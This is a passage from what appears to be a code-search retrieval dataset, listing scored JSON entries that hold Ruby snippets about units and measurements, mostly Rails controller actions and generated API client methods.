"text": "def show\n @unit = Unit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unit }\n end\n end",
"title": ""
},
{
"docid": "aa17735f8a215988ca8472f5fe28b60e",
"score": "0.60762686",
"text": "def show\n @unit = Unit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unit }\n end\n end",
"title": ""
},
{
"docid": "aa17735f8a215988ca8472f5fe28b60e",
"score": "0.60762686",
"text": "def show\n @unit = Unit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unit }\n end\n end",
"title": ""
},
{
"docid": "2de987180bb1c8079299048e7ec380b6",
"score": "0.606622",
"text": "def get_units\n @agency, @depts = params[:agency], params[:dept]\n render :layout => false\n end",
"title": ""
},
{
"docid": "f83ed69d8178d7b9bb7ae536dc7a0a52",
"score": "0.6062898",
"text": "def unit_of_measurement_count_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: UnitOfMeasurementApi.unit_of_measurement_count ...\"\n end\n # resource path\n local_var_path = \"/UnitsOfMeasurement/count\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'where'] = opts[:'where'] if !opts[:'where'].nil?\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse200')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UnitOfMeasurementApi#unit_of_measurement_count\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "fad924cbac65a4a9f7fa1357be1395d4",
"score": "0.60357827",
"text": "def show\n @unit = Unit.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unit }\n end\n end",
"title": ""
},
{
"docid": "dd31438bee2543f62591db37a6bd8fae",
"score": "0.60249084",
"text": "def index\n hash = cookies[:city_hash]\n @city = City.find_by(city_hash: hash)\n @units = @city.units\n\n render json: @units, status: :ok\n end",
"title": ""
},
{
"docid": "bbf91daf743fd7475ac5df5be1235b5d",
"score": "0.5988103",
"text": "def index\n @unit_of_measures = UnitOfMeasure.all\n end",
"title": ""
},
{
"docid": "72d4f7dd1317bb2719311d231e325030",
"score": "0.5963495",
"text": "def index\n @study_units = StudyUnit.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @study_units }\n end\n end",
"title": ""
},
{
"docid": "27977c62eda22bd5e8f0aaf74092fc2c",
"score": "0.5961202",
"text": "def units\n @formulation = (params[:formulation] || '').upcase\n drug = Drug.find_by_name(@formulation) rescue nil\n render plain: \"per dose\" and return unless drug && !drug.units.blank?\n render plain: drug.units\n end",
"title": ""
},
{
"docid": "fb237c768deb2b29e463b6ab26a44dbe",
"score": "0.59545904",
"text": "def units\n self.ListUnits.first.map { |u| map_unit(u) }\n end",
"title": ""
},
{
"docid": "38ccf3e2bf59b04bfd534966e56bf6a3",
"score": "0.5953564",
"text": "def units\n\t\tret = []\n\t\[email protected]('sgt-structure:' + @id + ':units').each do |uid|\n\t\t\tret.push(getUnit(@db, uid))\n\t\tend\n\t\tret\n\tend",
"title": ""
},
{
"docid": "4e71a01be061169a240ebbc41756bb68",
"score": "0.59444636",
"text": "def index\n @display_units = DisplayUnit.all\n end",
"title": ""
},
{
"docid": "aec3aa4a1cbe42b81ec58133c94df4d5",
"score": "0.59425217",
"text": "def show\n @study_unit = StudyUnit.find(params[:id])\n @logical_products = @study_unit.logical_products\n @data_collections = @study_unit.data_collections\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @study_unit }\n end\n end",
"title": ""
},
{
"docid": "2b6251e5eeb1d443398b83c2c51f8793",
"score": "0.5935957",
"text": "def index\n @storage_units = StorageUnit.all\n end",
"title": ""
},
{
"docid": "013261cd91e8865e031a9ba0732b7662",
"score": "0.59354705",
"text": "def unit(unit_id=nil, opts = {})\n units = connection.get(connection.build_url(\"units\", opts.merge(:unitids => unit_id))).body\n units.map!{|hash| hash.values.first}\n units.each{|u| u.extend UnitMethods; u._cloud_connect = self;}\n units.first\n end",
"title": ""
},
{
"docid": "46f1af66319cd704b4a16e94f0fad00c",
"score": "0.5934655",
"text": "def show\n @item_unit = ItemUnit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item_unit }\n end\n end",
"title": ""
},
{
"docid": "2e2ff98d95497b3e83d3b08aab183751",
"score": "0.5903106",
"text": "def single_usage\r\n meter = get_meters[3]\r\n date_ranges = get_date_ranges\r\n dtps = Meter.get_daily_time_periods [meter]\r\n\r\n# usage = meter.usage_by_meter(date_ranges, dtps)\r\n# usage = meter.usage_by_time(date_ranges, dtps)\r\n usage = meter.detailed_usage_by_meter(date_ranges, dtps)\r\n# usage = meter.detailed_usage_by_time(date_ranges, dtps)\r\n\r\n render :json => usage\r\n\r\n# redirect_to action: 'index'\r\n end",
"title": ""
},
{
"docid": "86f2204ce73e945db5ed995fc9115098",
"score": "0.59027636",
"text": "def unit_of_measurement_find_one_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: UnitOfMeasurementApi.unit_of_measurement_find_one ...\"\n end\n # resource path\n local_var_path = \"/UnitsOfMeasurement/findOne\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'UnitOfMeasurement')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UnitOfMeasurementApi#unit_of_measurement_find_one\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "c11eb20386bb7ee3aea431ed456a82cb",
"score": "0.58895004",
"text": "def index\n @police_units = PoliceUnit.all\n end",
"title": ""
},
{
"docid": "351d174e40356a0a93378aa13093f7d2",
"score": "0.58510464",
"text": "def index\n @german_units = GermanUnit.all\n end",
"title": ""
},
{
"docid": "8f1aeb83f9b2929702b6940976c6e3e1",
"score": "0.58469886",
"text": "def get_upgrade_units_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: UpgradeApi.get_upgrade_units ...\"\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling UpgradeApi.get_upgrade_units, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling UpgradeApi.get_upgrade_units, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = \"/upgrade/upgrade-units\"\n\n # query parameters\n query_params = {}\n query_params[:'component_type'] = opts[:'component_type'] if !opts[:'component_type'].nil?\n query_params[:'current_version'] = opts[:'current_version'] if !opts[:'current_version'].nil?\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'group_id'] = opts[:'group_id'] if !opts[:'group_id'].nil?\n query_params[:'has_warnings'] = opts[:'has_warnings'] if !opts[:'has_warnings'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'metadata'] = opts[:'metadata'] if !opts[:'metadata'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n query_params[:'upgrade_unit_type'] = opts[:'upgrade_unit_type'] if !opts[:'upgrade_unit_type'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'UpgradeUnitListResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UpgradeApi#get_upgrade_units\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "c9c0e040566ec3783ebe79c5a3ce4781",
"score": "0.5840279",
"text": "def v1_measurements_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MeasurementsApi.v1_measurements_get ...\"\n end\n # resource path\n local_var_path = \"/v1/measurements\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'access_token'] = opts[:'access_token'] if opts[:'access_token']\n query_params[:'variableName'] = opts[:'variable_name'] if opts[:'variable_name']\n query_params[:'variableCategoryName'] = opts[:'variable_category_name'] if opts[:'variable_category_name']\n query_params[:'source'] = opts[:'source'] if opts[:'source']\n query_params[:'value'] = opts[:'value'] if opts[:'value']\n query_params[:'lastUpdated'] = opts[:'last_updated'] if opts[:'last_updated']\n query_params[:'unit'] = opts[:'unit'] if opts[:'unit']\n query_params[:'startTime'] = opts[:'start_time'] if opts[:'start_time']\n query_params[:'createdAt'] = opts[:'created_at'] if opts[:'created_at']\n query_params[:'updatedAt'] = opts[:'updated_at'] if opts[:'updated_at']\n query_params[:'endTime'] = opts[:'end_time'] if opts[:'end_time']\n query_params[:'groupingWidth'] = opts[:'grouping_width'] if opts[:'grouping_width']\n query_params[:'groupingTimezone'] = opts[:'grouping_timezone'] if opts[:'grouping_timezone']\n query_params[:'limit'] = opts[:'limit'] if opts[:'limit']\n query_params[:'offset'] = opts[:'offset'] if opts[:'offset']\n query_params[:'sort'] = opts[:'sort'] if opts[:'sort']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Measurement')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MeasurementsApi#v1_measurements_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "dca29664b9a55954351e407097942d15",
"score": "0.58325636",
"text": "def show\n @electoral_unit = ElectoralUnit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @electoral_unit }\n end\n end",
"title": ""
},
{
"docid": "95ef0b41152e3f1c82bb11470a862a90",
"score": "0.5825525",
"text": "def units\n return @units\n end",
"title": ""
},
{
"docid": "572bcbead72d310403a187e3d445438e",
"score": "0.5813661",
"text": "def index\n @units = @gang.units.order( :id )\n @can_add_units = can_add_units\n end",
"title": ""
},
{
"docid": "ca0a64d8a7ad9cd5755a7620ebb6a9ad",
"score": "0.57985145",
"text": "def units(units=nil)\n cur_page.units(units)\n end",
"title": ""
},
{
"docid": "bdb6dfc5806cce330f50d391a4d08dcd",
"score": "0.5796688",
"text": "def index\n @org_units = OrgUnit.all\n end",
"title": ""
},
{
"docid": "d82deb35b76b96b37e461ba3574869e7",
"score": "0.57817036",
"text": "def getuom\n @deliverable_type = DeliverableType.find(params[:id])\n respond_to do |format|\n format.json { render :json => @deliverable_type.uom}\n end\n end",
"title": ""
},
{
"docid": "75a987569695db8fade783e61d631ffa",
"score": "0.5758907",
"text": "def units=(value)\n @units = value\n end",
"title": ""
},
{
"docid": "164cd675666d0fed2f702756e7af4e56",
"score": "0.57454014",
"text": "def user_units\n @user.units\n end",
"title": ""
},
{
"docid": "b79eb4cc45de19af4424066eb9a4e669",
"score": "0.5728564",
"text": "def index\n @units = Unit.search.\n institution(current_institution).\n include_children(false).\n order(\"#{Unit::IndexFields::TITLE}.sort\").\n limit(9999)\n end",
"title": ""
},
{
"docid": "43ef1b0316e9a10e7022af580728f70a",
"score": "0.5720662",
"text": "def index\n authorize Unit\n @units_version = Unit.version\n @units = Unit.all\n render\n end",
"title": ""
},
{
"docid": "919a1e96e91732a388467a7a1feef6c7",
"score": "0.5717586",
"text": "def units\n q = \"select distinct unit_id from master_files m inner join master_file_locations l on l.master_file_id=m.id\"\n q << \" where location_id = #{id}\"\n return Location.connection.query(q).flatten\n end",
"title": ""
},
{
"docid": "cac4d5d31faf45ccfbe86a7fb44688cc",
"score": "0.5711039",
"text": "def index\n @handbook_structual_units = HandbookStructualUnit.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @handbook_structual_units }\n end\n end",
"title": ""
},
{
"docid": "e4e1c677874dd8184c5d5a37273c5e33",
"score": "0.5708419",
"text": "def index\n @quotation_units = QuotationUnit.all\n end",
"title": ""
},
{
"docid": "8eceabb8330f5f05a58c1c487d11f8cd",
"score": "0.5702804",
"text": "def unit_mappings\n {\n ApiUnitSystem.US => { :duration => \"milliseconds\", :distance => \"miles\", :elevation => \"feet\", :height => \"inches\", :weight => \"pounds\", :measurements => \"inches\", :liquids => \"fl oz\", :blood_glucose => \"mg/dL\" },\n ApiUnitSystem.UK => { :duration => \"milliseconds\", :distance => \"kilometers\", :elevation => \"meters\", :height => \"centimeters\", :weight => \"stone\", :measurements => \"centimeters\", :liquids => \"mL\", :blood_glucose => \"mmol/l\" },\n ApiUnitSystem.METRIC => { :duration => \"milliseconds\", :distance => \"kilometers\", :elevation => \"meters\", :height => \"centimeters\", :weight => \"kilograms\", :measurements => \"centimeters\", :liquids => \"mL\", :blood_glucose => \"mmol/l\" }\n }\n end",
"title": ""
},
{
"docid": "e8d3e1d1d5233e73884fc12ada3e2a73",
"score": "0.57014227",
"text": "def units\n @units = SQF.units @this\n @units\n end",
"title": ""
},
{
"docid": "54243dd4f099f128ffe8793d7ef2e41f",
"score": "0.57002157",
"text": "def index\n @order_units = OrderUnit.all\n end",
"title": ""
},
{
"docid": "cc8649d6fe3b64c8a1349e1adb6e0315",
"score": "0.5698955",
"text": "def get_station_data(qty = 10)\n filter = { zip: @zip, limit: qty}\n EnergyService.new(filter).get_stations[:fuel_stations]\n end",
"title": ""
},
{
"docid": "3f7c9eb5930664cf14ca6a482e9a6fa5",
"score": "0.56941354",
"text": "def show\n @unit = Unit.find(params[:id])\n @item = Item.find(@unit.item_id)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unit }\n end\n end",
"title": ""
},
{
"docid": "74c93d89cf5cbe9297ae584326b6813f",
"score": "0.5686424",
"text": "def get_usage_rum_units_with_http_info(start_hr, opts = {})\n\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: UsageMeteringAPI.get_usage_rum_units ...'\n end\n # verify the required parameter 'start_hr' is set\n if @api_client.config.client_side_validation && start_hr.nil?\n fail ArgumentError, \"Missing the required parameter 'start_hr' when calling UsageMeteringAPI.get_usage_rum_units\"\n end\n # resource path\n local_var_path = '/api/v1/usage/rum'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'start_hr'] = start_hr\n query_params[:'end_hr'] = opts[:'end_hr'] if !opts[:'end_hr'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json;datetime-format=rfc3339'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'UsageRumUnitsResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || [:apiKeyAuth, :appKeyAuth, :AuthZ]\n\n new_options = opts.merge(\n :operation => :get_usage_rum_units,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type,\n :api_version => \"V1\"\n )\n\n data, status_code, headers = @api_client.call_api(Net::HTTP::Get, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UsageMeteringAPI#get_usage_rum_units\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "efc42d688358933a83925baaf3e5c839",
"score": "0.5684929",
"text": "def show\n @unit_type = UnitType.find(params[:id])\n respond_to do |format|\n format.json { render json: @unit_type }\n format.xml { render xml: @unit_type }\n end\n end",
"title": ""
},
{
"docid": "5d4fbef90a28271426f8ce973a235567",
"score": "0.56729877",
"text": "def index\n @quantity_units = QuantityUnit.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @quantity_units }\n end\n end",
"title": ""
},
{
"docid": "88e640f77b0968841faa0c5b58d7b4df",
"score": "0.5657789",
"text": "def index\n @usages = get_usages\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usages }\n end\n end",
"title": ""
},
{
"docid": "a3410c8bfbc56b3b004d0c642aeb4ba2",
"score": "0.56539017",
"text": "def index\n\n require 'net/http'\n require 'json'\n\n @measures = Measure.all.order(\"created_at DESC\")\n weatherData\n\n end",
"title": ""
},
{
"docid": "0327117108c851eac97dbbd1c35c443a",
"score": "0.5653236",
"text": "def index\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @account_units }\n end\n end",
"title": ""
},
{
"docid": "027f003827d6749e3f4932f879194543",
"score": "0.56349593",
"text": "def create\n @unit_of_measure = UnitOfMeasure.create(params[:unit_of_measure])\n get_data\n end",
"title": ""
},
{
"docid": "e7393f59d63862617636ca25355bdb8e",
"score": "0.5623988",
"text": "def getMnoData \n if @dataType == 'employees_list'\n params = MultiJson.load('{\"engine\":\"hr/employees_list\", \n \"metadata[organization_ids][]\": \"org-fbte\"}')\n elsif @dataType == 'employee_details'\n params = MultiJson.load('{\"engine\":\"hr/employee_details\", \n \"metadata[organization_ids][]\": \"org-fbte\"}')\n elsif @dataType == 'invoices'\n params = MultiJson.load('{\"engine\":\"invoices/list\", \n \"metadata[organization_ids][]\": \"org-fbte\", \n \"metadata[entity]\": \"customers|suppliers\"}')\n else\n raise StandardError\n end \n \n auth = {username: @@username, password: @@password}\n options = {query: params, basic_auth: auth}\n \n @content = HTTParty.get(@@url, options)\n end",
"title": ""
},
{
"docid": "b8dcb66cf7e03d78c090043da18a94b7",
"score": "0.5617708",
"text": "def unit_of_measurement_find(opts = {})\n data, _status_code, _headers = unit_of_measurement_find_with_http_info(opts)\n return data\n end",
"title": ""
},
{
"docid": "5341c56a2716ea4cfa9fd675601183c2",
"score": "0.5616144",
"text": "def us\n render :json => @@us_data\n end",
"title": ""
},
{
"docid": "f333161727f687d2f23b81b7c0d4ab48",
"score": "0.56157196",
"text": "def show\n @retail_unit = RetailUnit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @retail_unit }\n end\n end",
"title": ""
},
{
"docid": "4168c67f3534d98e083ddb6f27fce9df",
"score": "0.560616",
"text": "def show\n @unidade_metrica = UnidadeMetrica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unidade_metrica }\n end\n end",
"title": ""
},
{
"docid": "d11d559be2911cea4db27464815e22a8",
"score": "0.55967534",
"text": "def index\n @unit_names = UnitName.all\n end",
"title": ""
},
{
"docid": "afd1e4c250f2b8e29bcb6dcff8a818bf",
"score": "0.55943227",
"text": "def get_upgrade_units_stats_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: UpgradeApi.get_upgrade_units_stats ...\"\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling UpgradeApi.get_upgrade_units_stats, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling UpgradeApi.get_upgrade_units_stats, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = \"/upgrade/upgrade-units-stats\"\n\n # query parameters\n query_params = {}\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n query_params[:'sync'] = opts[:'sync'] if !opts[:'sync'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'UpgradeUnitTypeStatsList')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UpgradeApi#get_upgrade_units_stats\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "58347f0725f41b1125cc584c30841517",
"score": "0.5592549",
"text": "def index\n @army_units = ArmyUnit.all\n end",
"title": ""
},
{
"docid": "08c66272c23f3ec966f8e3c2edebc75f",
"score": "0.5590806",
"text": "def total_meters\n data[:total_meters]\n end",
"title": ""
},
{
"docid": "913aab8c8a08e4e62c50ae7863fa4cd1",
"score": "0.55872285",
"text": "def getAllUnits\n deep_copy(@allUnits)\n end",
"title": ""
},
{
"docid": "9986e7b82ff6bf35d6ba171d44d4b50a",
"score": "0.55870044",
"text": "def dataunit_params\n params.require(:dataunit).permit(:geoValue, :dataValue, :dataset_id, :user_id)\n end",
"title": ""
},
{
"docid": "21d8bacb4b0a9975487cdaed42c6f771",
"score": "0.5578149",
"text": "def index\n @programme_units = ProgrammeUnit.all\n end",
"title": ""
},
{
"docid": "b55d65fa135dc6b68ec665cb8a31914c",
"score": "0.55670625",
"text": "def show\n @units = @commercial_lead.units\n end",
"title": ""
},
{
"docid": "df641e1bcd393e93a648b4ca5f12a0c9",
"score": "0.55602247",
"text": "def index\n @dbh_measurements = DbhMeasurement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @dbh_measurements }\n end\n end",
"title": ""
},
{
"docid": "cc371884abd5f7b3ac7d41097cf24504",
"score": "0.555577",
"text": "def index\n if params[:q]\n @search = UnitOfMeasure.search(params[:q])\n @unit_of_measures = @search.result.page(params[:page]).per(current_user.list_page_size)\n else\n @search = UnitOfMeasure.search(params[:q]) \n @unit_of_measures = @search.result.where(validity: true).page(params[:page]).per(current_user.list_page_size)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @unit_of_measures }\n end\n end",
"title": ""
},
{
"docid": "889df405edfa37b205007aab11c7ecf4",
"score": "0.55519927",
"text": "def get_adapter_unit_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AdapterApi.get_adapter_unit_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/adapter/Units'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'AdapterUnitResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"AdapterApi.get_adapter_unit_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AdapterApi#get_adapter_unit_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "98809f5e2e4a5a48145e8298212ed469",
"score": "0.5544095",
"text": "def index\n @breadcrumbs = [[t(:units)]]\n @units = @units.order(:name).page(params[:page])\n end",
"title": ""
},
{
"docid": "81f4203de760f58d5e28ea6f6f3d1254",
"score": "0.5532983",
"text": "def v1_measurements_daily_get_with_http_info(variable_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MeasurementsApi.v1_measurements_daily_get ...\"\n end\n # verify the required parameter 'variable_name' is set\n fail ArgumentError, \"Missing the required parameter 'variable_name' when calling MeasurementsApi.v1_measurements_daily_get\" if variable_name.nil?\n # resource path\n local_var_path = \"/v1/measurements/daily\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'variableName'] = variable_name\n query_params[:'access_token'] = opts[:'access_token'] if opts[:'access_token']\n query_params[:'abbreviatedUnitName'] = opts[:'abbreviated_unit_name'] if opts[:'abbreviated_unit_name']\n query_params[:'startTime'] = opts[:'start_time'] if opts[:'start_time']\n query_params[:'endTime'] = opts[:'end_time'] if opts[:'end_time']\n query_params[:'groupingWidth'] = opts[:'grouping_width'] if opts[:'grouping_width']\n query_params[:'groupingTimezone'] = opts[:'grouping_timezone'] if opts[:'grouping_timezone']\n query_params[:'limit'] = opts[:'limit'] if opts[:'limit']\n query_params[:'offset'] = opts[:'offset'] if opts[:'offset']\n query_params[:'sort'] = opts[:'sort'] if opts[:'sort']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Measurement')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MeasurementsApi#v1_measurements_daily_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "e704647536d66557b3288f0ff8c0e279",
